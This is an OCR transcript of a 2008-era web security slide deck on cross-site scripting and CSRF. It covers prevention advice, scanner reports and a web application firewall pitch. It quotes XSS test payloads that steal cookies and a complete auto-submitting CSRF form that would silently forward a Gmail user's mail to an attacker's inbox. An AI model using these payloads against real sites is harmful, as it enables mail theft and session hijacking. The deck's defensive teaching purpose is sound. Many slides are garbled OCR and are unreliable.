ross-Site Scripting Attack Demo

. XSS attack demo

. Use web ap scanner to find it

. Ratproxy - semi-auto web application securit
assessment tool for XSS, CRSF

Ratproxy audit report

Generated on: 2008/06/10 12:01
Input file: example.log

NOTE: Mot all of the issues reparted necessarily carrespond to
actual security flaws. Findings should be validated by manual
testing and analysis where appropriate. When in doubt, contact
the author.

Issue urgency classification (composite of impact and identification accuracy)
Non-discriminatary entry for further analysis

Query parameters echoed back / not echoed in HTTP response, respectively
Request URL or query data likely is / is not predictable to third parties, respectively
Request requires / does not require cookie authentication, respectively

POST query with no XSRF protection

Pa.

cospting POST s that lsck security licstion state, snd may be vulnerable to

racel

example.com:80/examples/rese6S/dispatcher + 200 [view

MIME type:

edit values
+ [E FRED AUTH
ylo req=heloa:

=

HIME ty
edit values
« PRED_AUTH
e

ayload: re: To=

MIME type: t.
edit values

: !

Done Apache/2.0.55... [ )

e Y == Ry e ]




Cross-Site Scripting (Server-side) Prevention

o © o o

)

Input/Output Sanitation

Don’t trust user input:TextBox, Url, Cookie, HTTP Header
Use TextBox and MaxLength attributes

Cookie encryption

Character encoding(URL Encode)

%3Cscript%3Ealert’%28document.cookie’”29%3C%2Fscript%3E

)

)

alert(String.fromCharCode(88,83,83))

<script>alert(document.cookie)
</[script>

Writing input/Output filtering is error-prone; it’s advised to use
Web Application Firewall




CSRF example: logout

Assumed that alogout script of a blog web site is as below -

http://blog.com/cgi-bin/logout.cgi

Then an attacker added the link as below to the blog through CRSF:
<img src=http://blog.com/cgi-bin/logout.cgi>

The user will logout automatically when executing the link after
the userlogged on...



http://images.google.com.tw/imgres?imgurl=http://www.batlab.net/~kobi/blog/images/2006/07/portal.jpg&imgrefurl=http://www.batlab.net/~kobi/blog/?p=21&h=450&w=800&sz=32&hl=zh-TW&start=15&um=1&tbnid=TPWhTsWcQCVpAM:&tbnh=80&tbnw=143&prev=/images?q=portal&um=1&hl=zh-TW&suggon=0&rls=GZAZ,GZAZ:2008-20,GZAZ:zh-TW
http://images.google.com.tw/imgres?imgurl=http://www.batlab.net/~kobi/blog/images/2006/07/portal.jpg&imgrefurl=http://www.batlab.net/~kobi/blog/?p=21&h=450&w=800&sz=32&hl=zh-TW&start=15&um=1&tbnid=TPWhTsWcQCVpAM:&tbnh=80&tbnw=143&prev=/images?q=portal&um=1&hl=zh-TW&suggon=0&rls=GZAZ,GZAZ:2008-20,GZAZ:zh-TW
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CSRF example: Gmail vulnerability

[ = ¢ : LA
ive membors Please dible - Tip 5 - riey passles, Do you ki b EilosLs Qole” s a  Aug 23
i e Sl s i i W 2200344041100 A 1 SrBL A2
) Nezila Firefox -f%
th Gt v Ngry fodnals Dot
b G

)
e
[~

http://www.gnucitizen.org/util/csrf
_method=POST&_ enctype=multi
%3A//mail.google.com/mail/h/ewt
%3Dprf&cf2_emc=true&cf2_ema
to

&cfl subj&cfl has&cfl hasnot&
b=Create%?20Filter

BRI R Eh5E
Fr&ma et

T T L T e e i e

oo Iompoitin - Py Pekcy - Bogran Rowoss - o o

<html|><body>

<form name="form" method="POST" enctype="multipart/form-
data"
action="https://mail.google.com/mail/h/ewtljmuj4ddv/?v=prf">
<input type="hidden" name="cf2_emc" value="true"/>

<input type="hidden" name="cf2_email"
value="evilinbox@mailinator.com"/>

<input type="hidden" name="cfl _from" value=""/>

<input type="hidden" name="cfl_to" value=""/>

<input type="hidden" name="cfl_subj" value=""/>

<input type="hidden" name="cfl _has" value=""/><input
type="hidden"

name="cfl hasnot" value=""/>

<input type="hidden" name="cfl_attach" value="true"/>
<input type="hidden" name="tfi" value=""/>

<input type="hidden" name="s" value="2z"/>
<input type="hidden"

name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>

</form><script>form.submit()</script></body></html|>

F 4




CSRF Preventions

« Ensure that there are no XSS vulnerabilities in your application

+ Insert custom random tokens into every form and URL

.+ For sensitive data or value transactions, re-authenticate or use transaction
signing

» Do not use GET requests (URLs) for sensitive data or to perform value
transactions

: POST alone is insufficient; combining random token is a plus

» For ASP.NET, set a ViewStateUserKey, which provides a similar type of
check to a random token




Differences between the Two

2 Stored XSS is more serious than reflected XSS

s Reflected XSS must use some means of inducing users to
visit attacker’s crafted URL.

. phishing attack by offering a link to his own malicious web server
would be suspected as a scam

= the requirement for stored XSS is avoided
: Stored XSS guaranteed that victim users will be already

accessing the application at the time that the attack
strikes

: reflected XSS may try to engineer this situation by persuading the
user to login




Cost and Money

O 15 flaws in every 1000 lines of code

O In average taking 75 minutes to find a
security hole » 2-9 hours to fix it

O every E-commerce site contains
150,000~250,000 lines of code in average

Days spent on checking and securing a web site

625 days(1 year and 260 days)

WATF can ease your life! Let’s see how...




Solutions that we have...

o Adopt SDLC from the scratch
o Rewrite your codes
o Code Review
o Web Application Vulnerability

Scanners
o Microsoft released two security tools:
Microsoft Source Code Analyzer for SQL
Injection, and Scrwalr

e Deploy Web Application Firewall
o Integrated with vulnerability
scanners




Before (Real Case)

Vunerabities by Severity

Critical: 175

High: 79 400
Medium: 67 30
Low: 110 200-
Info: 401 e

o}

Critical 21% High 9% Medium 8% Low 13% nfo 48%

Site Information
Comments: 8§10
Hiddens: 656
Forms: 613
Emails: a2
Javascript: 778

Cookies: 3




After (Real Case)

Critical:
High:
Medium:
Low:

Info:

e

)

249

Comments:
Hiddens:
Forms:
Emails:
Javascript:

Cookies:

300
240
180
120-

Vulnerabilfies by Severity

/ 4 £ 9 4

Crtical 0% High 1% el 1% Low 1% Infa 98%
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OWASP Scrubbr

e Scrubbr 1s a database scanning tool that checks numerous database
technologies for the presence of possible stored cross-site scripting
attacks.

* The tool was partially inspired by "Scrawlt", a trimmed-down version

of HP's Weblnspect which was released for free

* Aspect Security generously donated Scrubbr to OWASP to help
people get some visibility into their databases and check for malicious
data.




OWASP Scrubbr

Database

) MySOL (5.0+)
i MS SOL Server 2005+
i Dracle

Scrubbr is brought to you by

ASFEGﬂ I
' App Fecurdy 5p
and:
OWASP
B Cipem Wb A pplication Seceriy Progect

Target Information

Connection Information

Anmtisanmys Policy File:




S
OWASP Scrubbr — Try Fix

Scrubbr - Scan Eesulis

Tahle Breakdown Rows

Tables Scanned: 1

Username password

Tainted Tables: 1
Rows Scanned: 15
Tainted Rows Found: 1

Tainted Tuples (value,

Scan Time: Seribis

L ] This will update every row in the "sktest’ table with the following value;

=script>100</script>
Tainted Tables (seled

... With the value in the "Cleaned value" hox. Are you sure you want to do this?
This will affect 1 rows.

7=(Y) TN

Try Fix lgnore Skip Generate Report... Mar
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Thank you!

V. ¢

‘@] Michael_Shiah@ringline.com.tw

=R 02 26512340#699




